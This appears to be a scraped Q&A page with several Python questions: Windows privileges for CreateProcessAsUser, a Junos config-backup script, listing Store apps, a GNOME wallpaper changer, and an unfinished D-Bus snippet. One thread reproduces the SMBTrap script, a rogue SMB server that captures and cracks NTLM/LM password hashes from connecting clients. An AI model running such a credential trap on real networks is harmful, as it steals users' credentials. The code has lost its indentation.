Why does the CreateProcessAsUser have error 1314 in my code? - python

I need to create process as user. However during creating the process some error appears. The error is: 1314 CreateProcessAsUser A required privilege is not held by the client.
import win32api
import win32security
import win32process
import pywintypes
def attempt_to_logon():
username = "abcdef"
password = "123456"
try:
hUser = win32security.LogonUser(username, None,
password, win32security.LOGON32_LOGON_INTERACTIVE,
win32security.LOGON32_PROVIDER_DEFAULT)
except win32security.error:
print "unable to logon"
return None
return hUser
def run_as_user(hUser):
startup = win32process.STARTUPINFO()
startup.dwFlags = win32process.STARTF_USESHOWWINDOW
startup.wShowWindow = win32con.SW_SHOW
startup.lpDesktop = 'winsta0\default'
try:
result = win32process.CreateProcessAsUser(hUser,
None, # appName
"c:\\windows\\notepad.exe", # commandLine
None, # process attrs
None, # thread attrs
0, # inherit handles
0, # create flags
None, # new environment dict
None, # current directory
startup) # startup info
except pywintypes.error, (errcode, method, msg):
print errcode, method, msg
def AdjustPriv(priv, enable=1):
flags = win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY
htoken = win32security.OpenProcessToken(
win32api.GetCurrentProcess(), flags)
id = win32security.LookupPrivilegeValue(None, priv)
if enable:
newPriv = [(id, win32security.SE_PRIVILEGE_ENABLED)]
else:
newPriv = [(id, 0)]
win32security.AdjustTokenPrivileges(htoken, 0, newPriv)
if __name__ == "__main__":
AdjustPriv(win32security.SE_TCB_NAME)
AdjustPriv(win32security.SE_ASSIGNPRIMARYTOKEN_NAME)
AdjustPriv(win32security.SE_INCREASE_QUOTA_NAME)
hUser = attempt_to_logon()
run_as_user(hUser)
The error is in function run_as_user, when I try to create the process. I was able to read, that I have to set SE_TCB_NAME, SE_ASSIGNPRIMARYTOKEN_NAME and E_INCREASE_QUOTA_NAME for using CreateProcessAsUser. So I have no idea where the problem can be.

Related

Expand python function to return onee more value

I have this script to perform config-backups from juniper-devices based on input from Netbox. I would like to expand this script a little to fetch the firmware version from the juniper device and update our netbox using a custom field.
#!/usr/bin/python3
import sys,os,getopt
from getpass import getpass
from jnpr.junos import Device
import jnpr.junos.facts
from jnpr.junos.utils.config import Config
from jnpr.junos.exception import *
from lxml import etree
from pprint import pprint
import pynetbox
import datetime
nb = pynetbox.api(url='https://netbox-test/', token='<censored>')
save_path = '/config-backups/'
def printProgress(logtype,hostname,message):
print("%s:%s:%s"%(logtype,hostname,message))
def GetConfig(my_hostname, my_username, my_password):
try:
printProgress("INFO",my_hostname,"Connecting to device")
dev=Device(host=my_hostname,user=my_username,password=my_password)
dev.open(auto_probe=10)
dev.timeout=10
printProgress("INFO",my_hostname,"Retrieving config")
config = dev.rpc.get_config(options={'database':'committed','format':'set'})
junos_version = dev.facts['version']
configbackup = (etree.tostring(config, encoding='unicode', pretty_print=True))
completefilename = os.path.join(save_path, my_hostname+".set.config")
outfile=open(completefilename, "w")
outfile.write(configbackup)
dev.close()
outfile.close()
return True,junos_version
except Exception as err:
printProgress("ERROR",my_hostname,"Encountered exception while backing up config")
printProgress("ERROR",my_hostname,str(err))
return False
def main(argv):
junos_password = ''
try:
opts, args = getopt.getopt(argv,"?u:p:",["username=","password"])
except getopt.GetoptError:
print ('configbackup_junos.py -u <username> [-p <junos admin password>]')
sys.exit(2)
for opt, arg in opts:
if opt == '-?':
print ('configbackup_junos.py -u <username> [-p <junos admin password>]')
sys.exit()
elif opt in ("-u", "--username"):
junos_username = arg
elif opt in ("-p", "--password"):
junos_password = arg
print ('Will attempt to backup junos devices documented in Netbox using username:', junos_username)
if len(junos_password) > 0:
print ('Junos Password set on commandline\n')
else:
print ('password not entered, will ask for it')
junos_password=getpass(prompt="\nPassword: ")
nb_devicelist = nb.dcim.devices.all()
for nb_device in nb_devicelist:
platform = str(nb_device.platform)
pri_ip = str(nb_device.primary_ip)
asset = nb_device.asset_tag
devstatus = str(nb_device.status)
backup_enabled = nb_device.custom_fields['backup_enable']
if nb_device.virtual_chassis:
vchassismaster = str(nb_device.virtual_chassis.master)
else:
vchassismaster = 'no_chassis'
if backup_enabled == 'Yes' and platform == 'Junos' and devstatus == 'Active' and pri_ip != 'None' and asset:
if vchassismaster == (nb_device.name) or vchassismaster == 'no_chassis':
if GetConfig(asset,junos_username,junos_password):
print ("Config Successfully backed up from device.",nb_device)
nb_device.custom_fields['backup_status'] = "OK"
timenow = datetime.datetime.now()
timestamp = timenow.strftime("%Y-%m-d %X")
nb_device.custom_fields['backup_timestamp'] = timestamp
nb_device.save()
print (junos_version)
else:
printProgress ("ERROR",nb_device,"Config backup failed! ")
nb_device.custom_fields['backup_status'] = "FAILED"
nb_device.save()
print("")
if len(sys.argv) == 1:
sys.exit()
if __name__ == "__main__":
main(sys.argv[1:])
My problem is how do I get the variable "junos_version" returned from the function GetConfig. As you can see I have tried using "return True,junos_version", but how do I grab it in the output of the function?
(I have read all the articles I could find about this and tried a number of suggestions, but nothing works.
I need to be able to input the "junos_version" into this command
nb_device.custom_fields['firmware_version'] = junos_version
Which I wouldd placee just before the nb_device.save
I suspect it is my sense of logic that fails here, I just cannot see the forest for trees.
if GetConfig(asset,junos_username,junos_password):
you can change this with :
with flag, junos_version=GetConfig(asset,junos_username,junos_password):
If you return multiple values from a function, consider them a tuple.
In your case you can get the second value in the following way:
cfg = GetConfig(...) // add your args
junos_version = cfg[1] // get the 2-nd returned value from a tuple.
First you have to have a stable return.
def GetConfig(my_hostname, my_username, my_password):
try:
...
return True,junos_version
except Exception as err:
...
return False
In here you can have a tuple (of boolean and version) or a bool (True or False) as return.
I would change it as:
def GetConfig(my_hostname, my_username, my_password):
try:
...
return True,junos_version
except Exception as err:
...
return False, None
since there is no junos_version in exception.
Now you change the code where you use it as:
def main(argv):
...
if GetConfig(asset,junos_username,junos_password):
...
to
def main(argv):
...
cfg, version = GetConfig(asset,junos_username,junos_password)
if cfg:
...

Is there a way to get the full path of the shell:appsfolder on Windows 10?

I'd like to be able to list the files in the shell:appsfolder in a python script but need the full path to do this using os.list. Is there a way to get the full path (or does anyone know it)? Alternatively, is there a different way I can list these files? Can I "cd" to it?
The idea behind the script is to automate the shortcut creation of all the Windows Store apps (identified by the fact they have a "long name" property I think) and extract those shortcuts to a folder where the program Launchy can detect them. I don't like having to manually go through the process of creating the shortcut (and renaming it to remove the " - shortcut) every time I download or remove an app so I thought I'd automate it.
Here's a function that hopefully does what you want in terms of creating shortcuts for the Windows Store apps that are listed in the "Applications" virtual folder (i.e. FOLDERID_AppsFolder). To classify Windows Store apps, it looks for an exclamation point in the Application User Model ID since the AUMID should be of the form "PackageFamily!ApplicationID" (see Automate Launching UWP Apps). For reliability it cross-checks each package family with the user's registered package families.
import os
import ctypes
import pywintypes
import pythoncom
import winerror
try:
import winreg
except ImportError:
# Python 2
import _winreg as winreg
bytes = lambda x: str(buffer(x))
from ctypes import wintypes
from win32com.shell import shell, shellcon
from win32com.propsys import propsys, pscon
# KNOWNFOLDERID
# https://msdn.microsoft.com/en-us/library/dd378457
# win32com defines most of these, except the ones added in Windows 8.
FOLDERID_AppsFolder = pywintypes.IID('{1e87508d-89c2-42f0-8a7e-645a0f50ca58}')
# win32com is missing SHGetKnownFolderIDList, so use ctypes.
_ole32 = ctypes.OleDLL('ole32')
_shell32 = ctypes.OleDLL('shell32')
_REFKNOWNFOLDERID = ctypes.c_char_p
_PPITEMIDLIST = ctypes.POINTER(ctypes.c_void_p)
_ole32.CoTaskMemFree.restype = None
_ole32.CoTaskMemFree.argtypes = (wintypes.LPVOID,)
_shell32.SHGetKnownFolderIDList.argtypes = (
_REFKNOWNFOLDERID, # rfid
wintypes.DWORD, # dwFlags
wintypes.HANDLE, # hToken
_PPITEMIDLIST) # ppidl
def get_known_folder_id_list(folder_id, htoken=None):
if isinstance(folder_id, pywintypes.IIDType):
folder_id = bytes(folder_id)
pidl = ctypes.c_void_p()
try:
_shell32.SHGetKnownFolderIDList(folder_id, 0, htoken,
ctypes.byref(pidl))
return shell.AddressAsPIDL(pidl.value)
except WindowsError as e:
if e.winerror & 0x80070000 == 0x80070000:
# It's a WinAPI error, so re-raise it, letting Python
# raise a specific exception such as FileNotFoundError.
raise ctypes.WinError(e.winerror & 0x0000FFFF)
raise
finally:
if pidl:
_ole32.CoTaskMemFree(pidl)
def enum_known_folder(folder_id, htoken=None):
id_list = get_known_folder_id_list(folder_id, htoken)
folder_shell_item = shell.SHCreateShellItem(None, None, id_list)
items_enum = folder_shell_item.BindToHandler(None,
shell.BHID_EnumItems, shell.IID_IEnumShellItems)
for item in items_enum:
yield item
def list_known_folder(folder_id, htoken=None):
result = []
for item in enum_known_folder(folder_id, htoken):
result.append(item.GetDisplayName(shellcon.SIGDN_NORMALDISPLAY))
result.sort(key=lambda x: x.upper())
return result
def create_shortcut(shell_item, shortcut_path):
id_list = shell.SHGetIDListFromObject(shell_item)
shortcut = pythoncom.CoCreateInstance(shell.CLSID_ShellLink, None,
pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
shortcut.SetIDList(id_list)
persist = shortcut.QueryInterface(pythoncom.IID_IPersistFile)
persist.Save(shortcut_path, 0)
def get_package_families():
families = set()
subkey = (r'Software\Classes\Local Settings\Software\Microsoft'
r'\Windows\CurrentVersion\AppModel\Repository\Families')
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, subkey) as hkey:
index = 0
while True:
try:
families.add(winreg.EnumKey(hkey, index))
except OSError as e:
if e.winerror != winerror.ERROR_NO_MORE_ITEMS:
raise
break
index += 1
return families
def update_app_shortcuts(target_dir):
package_families = get_package_families()
for item in enum_known_folder(FOLDERID_AppsFolder):
try:
property_store = item.BindToHandler(None,
shell.BHID_PropertyStore, propsys.IID_IPropertyStore)
app_user_model_id = property_store.GetValue(
pscon.PKEY_AppUserModel_ID).ToString()
except pywintypes.error:
continue
# AUID template: Packagefamily!ApplicationID
if '!' not in app_user_model_id:
continue
package_family, app_id = app_user_model_id.rsplit('!', 1)
if package_family not in package_families:
continue
name = item.GetDisplayName(shellcon.SIGDN_NORMALDISPLAY)
shortcut_path = os.path.join(target_dir, '%s.lnk' % name)
create_shortcut(item, shortcut_path)
print('{}: {}'.format(name, app_user_model_id))
example
if __name__ == '__main__':
desktop = shell.SHGetFolderPath(0, shellcon.CSIDL_DESKTOP, 0, 0)
target_dir = os.path.join(desktop, 'Windows Store Apps')
if not os.path.exists(target_dir):
os.mkdir(target_dir)
update_app_shortcuts(target_dir)

I can not run a python script

I'm new and I use a translator, sorry if you do not understand well
I'm trying to run a python script and I kali linux throws several errors. I do not understand python, I searched in google without finding solution
**root#Alien**:~/SMBTrap/smbtrap# python smbtrap2.py
Traceback (most recent call last):
File "smbtrap2.py", line 6, in <module>
from quickcrack import try_to_crack_hash
File "/root/SMBTrap/smbtrap/quickcrack.py", line 4, in <module>
from bitarray import bitarray
ImportError: No module named bitarray
**root#Alien**:~/SMBTrap/smbtrap#
Below I hit the code of the script I try to run
from impacket import smbserver, smb
import ntpath
from threading import RLock
import json
from quickcrack import try_to_crack_hash
"""
This script acts as an SMB server and gathers credentials from connecting users.
Developed by Brian Wallace #botnet_hutner
"""
sessions = {}
output_file_lock = RLock()
def report_authentication_attempt(connId, auth_details):
global output_file_lock
sessions[connId] = {"authentication": auth_details, "shares": []}
with output_file_lock:
with open("credentials.txt", "a") as f:
f.write(json.dumps(auth_details) + "\n")
if "UnicodePwd" in auth_details and auth_details['UnicodePwd'] != "":
print "{0}: {1}".format(auth_details['client_ip'], auth_details['UnicodePwd'])
password = try_to_crack_hash(auth_details['UnicodePwd'])
if password is not None:
print "{0}: {1}::{2} has password '{3}'".format(auth_details['client_ip'], auth_details["PrimaryDomain"], auth_details['Account'], password)
if "AnsiPwd" in auth_details and auth_details['AnsiPwd'] != "":
print "{0}: {1}".format(auth_details['client_ip'], auth_details['AnsiPwd'])
password = try_to_crack_hash(auth_details['AnsiPwd'])
if password is not None:
print "{0}: {1}::{2} has password '{3}'".format(auth_details['client_ip'], auth_details["PrimaryDomain"], auth_details['Account'], password)
def report_tree_connect_attempt(connId, connect_details):
session = sessions[connId]
if "client_ip" in session:
print "{2}: {0} accessed {1}".format(session['client_ip'], connect_details['Path'], connId)
session['shares'].append(connect_details)
sessions[connId] = session
def smbCommandHook_SMB_COM_SESSION_SETUP_ANDX(connId, smbServer, SMBCommand, recvPacket):
# Accept any authentication except for empty authentication
supplied_creds = False
# The following is impacket code modified to extract credentials
connData = smbServer.getConnectionData(connId, checkStatus=False)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
# Process Standard Security
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data(flags=recvPacket['Flags2'])
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
# Let's get those credentials
to_extract_from_session_setup_data = [
"Account",
"AnsiPwd",
"NativeLanMan",
"UnicodePwd",
"NativeOS",
"PrimaryDomain",
]
extracted_data = {}
for key in (i for i in to_extract_from_session_setup_data if i in sessionSetupData.__dict__['fields']):
extracted_data[key] = sessionSetupData[key]
if 'AnsiPwd' in extracted_data:
if len([i for i in extracted_data['AnsiPwd'] if i != "\x00"]) == 0:
# It's null, we should just remove it
extracted_data['AnsiPwd'] = ""
elif len(extracted_data['AnsiPwd']) == 24:
if 'UnicodePwd' in extracted_data and extracted_data['AnsiPwd'] == extracted_data['UnicodePwd']:
# Hash has been duplicated across fields, likely NTLM, not LM
extracted_data['AnsiPwd'] = ""
else:
extracted_data['AnsiPwd'] = extracted_data['AnsiPwd'].encode("hex") # long live Python 2.7
extracted_data['AnsiPwd'] = "{1}:$NETLM$1122334455667788${0}".format(extracted_data['AnsiPwd'], extracted_data['Account'] if 'Account' in extracted_data else "")
supplied_creds = True
else:
# its plaintext? lol
supplied_creds = True
pass
if 'UnicodePwd' in extracted_data:
if len(extracted_data['UnicodePwd']) >= 56:
# NTLMv2
hmac = extracted_data['UnicodePwd'][0:16].encode("hex")
rest = extracted_data['UnicodePwd'][16:].encode("hex")
extracted_data['UnicodePwd'] = "{0}::{1}:1122334455667788:{2}:{3}".format(extracted_data['Account'] if 'Account' in extracted_data else "", extracted_data['PrimaryDomain'] if 'PrimaryDomain' in extracted_data else "", hmac, rest)
supplied_creds = True
elif len(extracted_data['UnicodePwd']) == 24:
# NTLMv1?
extracted_data['UnicodePwd'] = extracted_data['UnicodePwd'].encode("hex")
extracted_data['UnicodePwd'] = "{1}:$NETNTLM$1122334455667788${0}".format(extracted_data['UnicodePwd'], extracted_data['Account'] if 'Account' in extracted_data else "")
supplied_creds = True
conn_data = smbServer.getConnectionData(connId, False)
extracted_data['client_ip'] = conn_data['ClientIP']
report_authentication_attempt(connId, extracted_data)
errorCode = smbserver.STATUS_SUCCESS if supplied_creds else smbserver.STATUS_LOGON_FAILURE
connData['Uid'] = 10
respParameters['Action'] = 0
smbServer.log('User %s\\%s authenticated successfully (basic)' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account']))
respData['NativeOS'] = smbserver.encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
respData['NativeLanMan'] = smbserver.encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
connData['Authenticated'] = supplied_creds
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def smbCommandHook_SMB_COM_NEGOTIATE(connId, smbServer, SMBCommand, recvPacket):
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY:
recvPacket['Flags2'] -= smb.SMB.FLAGS2_EXTENDED_SECURITY
return smbserver.SMBCommands.smbComNegotiate(smbserver.SMBCommands(), connId, smbServer, SMBCommand, recvPacket)
def smbCommandHook_SMB_COM_TREE_CONNECT_ANDX(connId, smbServer, SMBCommand, recvPacket):
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
treeConnectAndXData = smb.SMBTreeConnectAndX_Data(flags=recvPacket['Flags2'])
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
path = smbserver.decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
local_path = ntpath.basename(path)
service = smbserver.decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Service'])
report_tree_connect_attempt(connId, {"Path": path, "local_path": local_path, "Service": service})
return smbserver.SMBCommands.smbComTreeConnectAndX(smbserver.SMBCommands(), connId, smbServer, SMBCommand, recvPacket)
# Overriding this allows us to claim we have no shares, so we still get ANDX data, but don't need to share anything
def override_searchShare(connId, share, smbServer):
return None
smbserver.searchShare = override_searchShare
if __name__ == "__main__":
smbConfig = smbserver.ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global', 'server_name', 'server_name')
smbConfig.set('global', 'server_os', 'UNIX')
smbConfig.set('global', 'server_domain', 'WORKGROUP')
smbConfig.set('global', 'log_file', 'smb.log')
smbConfig.set('global', 'credentials_file', '')
smbConfig.add_section('IPC$')
smbConfig.set('IPC$', 'comment', '')
smbConfig.set('IPC$', 'read only', 'yes')
smbConfig.set('IPC$', 'share type', '3')
smbConfig.set('IPC$', 'path', '')
server = smbserver.SMBSERVER(('0.0.0.0', 445), config_parser=smbConfig)
server.processConfigFile()
server.registerNamedPipe('srvsvc', ('0.0.0.0', 4344))
# Auth and information gathering hooks
# Hook session setup to grab the credentials and deny any empty authentication requests
server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, smbCommandHook_SMB_COM_SESSION_SETUP_ANDX)
# Hook the negotiate call to disable SPNEGO
server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, smbCommandHook_SMB_COM_NEGOTIATE)
# Hook tree connect
server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, smbCommandHook_SMB_COM_TREE_CONNECT_ANDX)
server.serve_forever()
It looks like the quickcrack module depends on the external bitarray module. Have you tried installing it, e.g. pip install bitarray?
If you are using SMBTrap the dependencies are listed here.

Automatic background changer using Python 2.7.3 not working, though it should

I'm very new to Ubuntu/Python/Bash/Gnome in general, so I still feel like there's a chance I'm doing something wrong, but it's been 3 days now without success...
Here's what the script is supposed to do:
* [✓] Download 1 random image from wallbase.cc
* [✓] Save it to the same directory that the script is running from
* [x] Set it as the wallpaper
There are two attempts made to set the wallpaper two using different commands and NEITHER work when in the script. There is a print statement (2nd line from the bottom) that spits out the correct terminal command because I can C&P the print result and it works fine, it just doesn't work when it's executed in the script.
#!/usr/bin/env python
import urllib2
import os
from gi.repository import Gio
response = urllib2.urlopen("http://wallbase.cc/random/12/eqeq/1366x768/0.000/100/32")
page_source = response.read()
thlink_pos = page_source.find("ico-X")
address_start = (page_source.find("href=\"", thlink_pos) + 6)
address_end = page_source.find("\"", address_start + 1)
response = urllib2.urlopen(page_source[address_start:address_end])
page_source = response.read()
bigwall_pos = page_source.find("bigwall")
address_start = (page_source.find("src=\"", bigwall_pos) + 5)
address_end = page_source.find("\"", address_start + 1)
address = page_source[address_start:address_end]
slash_pos = address.rfind("/") + 1
pic_name = address[slash_pos:]
bashCommand = "wget " + page_source[address_start:address_end]
os.system(bashCommand)
print "Does my new image exists?", os.path.exists(os.getcwd() + "/" + pic_name)
#attempt 1
settings = Gio.Settings.new("org.gnome.desktop.background")
settings.set_string("picture-uri", "file://" + os.getcwd() + "/" + pic_name)
settings.apply()
#attempt 2
bashCommand = "gsettings set org.gnome.desktop.background picture-uri file://" + os.getcwd() + "/" + pic_name
print bashCommand
os.system(bashCommand)
settings.apply()
You've successfully changed your settings, but they're still left unapplied, try next:
settings.apply()
after setting "picture-uri" string.
It works for me (Ubuntu 12.04).
I've modified your script (unrelated to your error):
#!/usr/bin/python
"""Set desktop background using random images from http://wallbase.cc
It uses `gi.repository.Gio.Settings` to set the background.
"""
import functools
import itertools
import logging
import os
import posixpath
import random
import re
import sys
import time
import urllib
import urllib2
import urlparse
from collections import namedtuple
from bs4 import BeautifulSoup # $ sudo apt-get install python-bs4
from gi.repository.Gio import Settings # pylint: disable=F0401,E0611
DEFAULT_IMAGE_DIR = os.path.expanduser('~/Pictures/backgrounds')
HTMLPAGE_SIZE_MAX = 1 << 20 # bytes
TIMEOUT_MIN = 300 # seconds
TIMEOUT_DELTA = 30 # jitter
# "Anime/Manga", "Wallpapers/General", "High Resolution Images"
CATEGORY_W, CATEGORY_WG, CATEGORY_HR = range(1, 4)
PURITY_SFW, PURITY_SKETCHY, PURITY_NSFW, PURITY_DEFAULT = 4, 2, 1, 0
DAY_IN_SECONDS = 86400
UrlRetreiveResult = namedtuple('UrlRetreiveResult', "path headers")
def set_background(image_path, check_exist=True):
"""Change desktop background to image pointed by `image_path`.
"""
if check_exist: # make sure we can read it (at this time)
with open(image_path, 'rb') as f:
f.read(1)
# prepare uri
path = os.path.abspath(image_path)
if isinstance(path, unicode): # quote() doesn't like unicode
path = path.encode('utf-8')
uri = 'file://' + urllib.quote(path)
# change background
bg_setting = Settings.new('org.gnome.desktop.background')
bg_setting.set_string('picture-uri', uri)
bg_setting.apply()
def url2filename(url):
"""Return basename corresponding to url.
>>> url2filename('http://example.com/path/to/file?opt=1')
'file'
"""
urlpath = urlparse.urlsplit(url).path # pylint: disable=E1103
basename = posixpath.basename(urllib.unquote(urlpath))
if os.path.basename(basename) != basename:
raise ValueError # refuse 'dir%5Cbasename.ext' on Windows
return basename
def download(url, dirpath, extensions=True, filename=None):
"""Download url to dirpath.
Use basename of the url path as a filename.
Create destination directory if necessary.
Use `extensions` to require the file to have an extension or any
of in a given sequence of extensions.
Return (path, headers) on success.
Don't retrieve url if path exists (headers are None in this case).
"""
if not os.path.isdir(dirpath):
os.makedirs(dirpath)
logging.info('created directory %s', dirpath)
# get filename from the url
filename = url2filename(url) if filename is None else filename
if os.path.basename(filename) != filename:
logging.critical('filename must not have path separator in it "%s"',
filename)
return
if extensions:
# require the file to have an extension
root, ext = os.path.splitext(filename)
if root and len(ext) > 1:
# require the extension to be in the list
try:
it = iter(extensions)
except TypeError:
pass
else:
if ext not in it:
logging.warn(("file extension is not in the list"
" url=%s"
" extensions=%s"),
url, extensions)
return
else:
logging.warn("file has no extension url=%s", url)
return
# download file
path = os.path.join(dirpath, filename)
logging.info("%s\n%s", url, path)
if os.path.exists(path): # don't retrieve if path exists
logging.info('path exists')
return UrlRetreiveResult(path, None)
try:
return UrlRetreiveResult(*urllib.urlretrieve(url, path,
_print_download_status))
except IOError:
logging.warn('failed to download {url} -> {path}'.format(
url=url, path=path))
def _print_download_status(block_count, block_size, total_size):
logging.debug('%10s bytes of %s', block_count * block_size, total_size)
def min_time_between_calls(min_delay):
"""Enforce minimum time delay between calls."""
def decorator(func):
lastcall = [None] # emulate nonlocal keyword
#functools.wraps(func)
def wrapper(*args, **kwargs):
if lastcall[0] is not None:
delay = time.time() - lastcall[0]
if delay < min_delay:
_sleep(min_delay - delay)
lastcall[0] = time.time()
return func(*args, **kwargs)
return wrapper
return decorator
#min_time_between_calls(5)
def _makesoup(url):
try:
logging.info(vars(url) if isinstance(url, urllib2.Request) else url)
page = urllib2.urlopen(url)
soup = BeautifulSoup(page.read(HTMLPAGE_SIZE_MAX))
return soup
except (IOError, OSError) as e:
logging.warn('failed to return soup for %s, error: %s',
getattr(url, 'get_full_url', lambda: url)(), e)
class WallbaseImages:
"""Given parameters it provides image urls to download."""
def __init__(self,
categories=None, # default; sequence of CATEGORY_*
resolution_exactly=True, # False means 'at least'
resolution=None, # all; (width, height)
aspect_ratios=None, # all; sequence eg, [(5,4),(16,9)]
purity=PURITY_DEFAULT, # combine with |
thumbs_per_page=None, # default; an integer
):
"""See usage below."""
self.categories = categories
self.resolution_exactly = resolution_exactly
self.resolution = resolution
self.aspect_ratios = aspect_ratios
self.purity = purity
self.thumbs_per_page = thumbs_per_page
def _as_request(self):
"""Create a urllib2.Request() using given parameters."""
# make url
if self.categories is not None:
categories = "".join(str(n) for n in (2, 1, 3)
if n in self.categories)
else: # default
categories = "0"
if self.resolution_exactly:
at_least_or_exactly_resolution = "eqeq"
else:
at_least_or_exactly_resolution = "gteq"
if self.resolution is not None:
resolution = "{width:d}x{height:d}".format(
width=self.resolution[0], height=self.resolution[1])
else:
resolution = "0x0"
if self.aspect_ratios is not None:
aspect_ratios = "+".join("%.2f" % (w / float(h),)
for w, h in self.aspect_ratios)
else: # default
aspect_ratios = "0"
purity = "{0:03b}".format(self.purity)
thumbs = 20 if self.thumbs_per_page is None else self.thumbs_per_page
url = ("http://wallbase.cc/random/"
"{categories}/"
"{at_least_or_exactly_resolution}/{resolution}/"
"{aspect_ratios}/"
"{purity}/{thumbs:d}").format(**locals())
logging.info(url)
# make post data
data = urllib.urlencode(dict(query='', board=categories, nsfw=purity,
res=resolution,
res_opt=at_least_or_exactly_resolution,
aspect=aspect_ratios,
thpp=thumbs))
req = urllib2.Request(url, data)
return req
def __iter__(self):
"""Yield background image urls."""
# find links to bigwall pages
# css-like: #thumbs div[class="thumb"] \
# a[class~="thlink" and href^="http://"]
soup = _makesoup(self._as_request())
if not soup:
logging.warn("can't retrieve the main page")
return
thumbs_soup = soup.find(id="thumbs")
for thumb in thumbs_soup.find_all('div', {'class': "thumb"}):
bigwall_a = thumb.find('a', {'class': "thlink",
'href': re.compile(r"^http://")})
if bigwall_a is None:
logging.warn("can't find thlink link")
continue # try the next thumb
# find image url on the bigwall page
# css-like: #bigwall > img[alt and src^="http://"]
bigwall_soup = _makesoup(bigwall_a['href'])
if bigwall_soup is not None:
bigwall = bigwall_soup.find(id='bigwall')
if bigwall is not None:
img = bigwall.find('img',
src=re.compile(r"(?i)^http://.*\.jpg$"),
alt=True)
if img is not None:
url = img['src']
filename = url2filename(url)
if filename.lower().endswith('.jpg'):
yield url, filename # successfully found image url
else:
logging.warn('suspicious url "%s"', url)
continue
logging.warn("can't parse bigwall page")
def main():
level = logging.INFO
if '-d' in sys.argv:
sys.argv.remove('-d')
level = logging.DEBUG
# configure logging
logging.basicConfig(format='%(levelname)s: %(asctime)s %(message)s',
level=level, datefmt='%Y-%m-%d %H:%M:%S %Z')
if len(sys.argv) > 1:
backgrounds_dir = sys.argv[1]
else:
backgrounds_dir = DEFAULT_IMAGE_DIR
# infinite loop: Press Ctrl+C to interrupt it
#NOTE: here's some arbitrary logic: modify for you needs e.g., break
# after the first image found
timeout = TIMEOUT_MIN # seconds
for i in itertools.cycle(xrange(timeout, DAY_IN_SECONDS)):
found = False
try:
for url, filename in WallbaseImages(
categories=[CATEGORY_WG, CATEGORY_HR, CATEGORY_W],
purity=PURITY_SFW,
thumbs_per_page=60):
res = download(url, backgrounds_dir, extensions=('.jpg',),
filename=filename)
if res and res.path:
found = True
set_background(res.path)
# don't hammer the site
timeout = max(TIMEOUT_MIN, i % DAY_IN_SECONDS)
_sleep(random.randint(timeout, timeout + TIMEOUT_DELTA))
except Exception: # pylint: disable=W0703
logging.exception('unexpected error')
_sleep(timeout)
else:
if not found:
logging.error('failed to retrieve any images')
_sleep(timeout)
timeout = (timeout * 2) % DAY_IN_SECONDS
def _sleep(timeout):
"""Add logging to time.sleep() call."""
logging.debug('sleep for %s seconds', timeout)
time.sleep(timeout)
main()
Tried to implement a python script that used the PIL library to write text on an image then update the Gnome background "picture-uri" to point to that image using the Gio class. The python script would ping pong between two images to always modify the one not in use and then attempt to "switch" by updating the Settings. Did this to avoid any flicker as modifying the current background directly drops it out temporarily. While in the shell and calling the script directly I rarely saw any issue, but in the cronjob it simply wouldn't update on the pong. I used both sync and apply and would wait several minutes before trying to switch the images. Didn't work. Tried cron as user (su -c "cmd" user) and that didn't work either.
Finally gave up on the ping pong approach when I noticed that Gnome will detect any change in the background file and update. So dropped the ping pong method and went to a temp file that I just copy over the current background using the shutil library. Works like a charm.

Error setting status to empathy with dbus

I'm getting error when I try setting status to empathy with dbus using python,
this is the code I've got from different sources
## getting status from clementine music player
import dbus
# Clementine lives on the Session bus
session_bus = dbus.SessionBus()
# Get Clementine's player object, and then get an interface from that object,
# otherwise we'd have to type out the full interface name on every method call.
player = session_bus.get_object('org.mpris.clementine', '/Player')
iface = dbus.Interface(player, dbus_interface='org.freedesktop.MediaPlayer')
# Call a method on the interface
metadata = iface.GetMetadata()
print metadata["title"]+' - '+metadata["artist"]
status = metadata["title"]+' - '+metadata["artist"]
## the below code is from https://github.com/engla/kupfer/blob/master/kupfer/plugin/empathy.py
import os
import subprocess
import sys
import time
import pynotify as pn
# it takes a long time before empathy is willing to accept statuses
EMPATHY_STARTUP_SECONDS = 20
def show_usage():
print "\nUsage:"
print sys.argv[0], "|".join(_STATUSES.keys())
def set_status(status):
try:
activate(status)
notify_set_status(status)
except IndexError:
print "Missing required parameter."
show_usage()
except ValueError as err:
print err
show_usage()
def notify_set_status(status):
success = pn.init("icon-summary-body")
if not success:
raise Error()
# I like this icon, even if it's not relevant
icon = 'notification-keyboard-brightness-low'
pn.Notification("Empathy", "Tried to set status to "+ status, icon).show()
def main():# give empathy some time to start up
set_status(status)
def _(text):
return text
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# All code below was derived from https://github.com/engla/kupfer/blob/master/kupfer/plugin/empathy.py
ACCOUNTMANAGER_PATH = "/org/freedesktop/Telepathy/AccountManager"
ACCOUNTMANAGER_IFACE = "org.freedesktop.Telepathy.AccountManager"
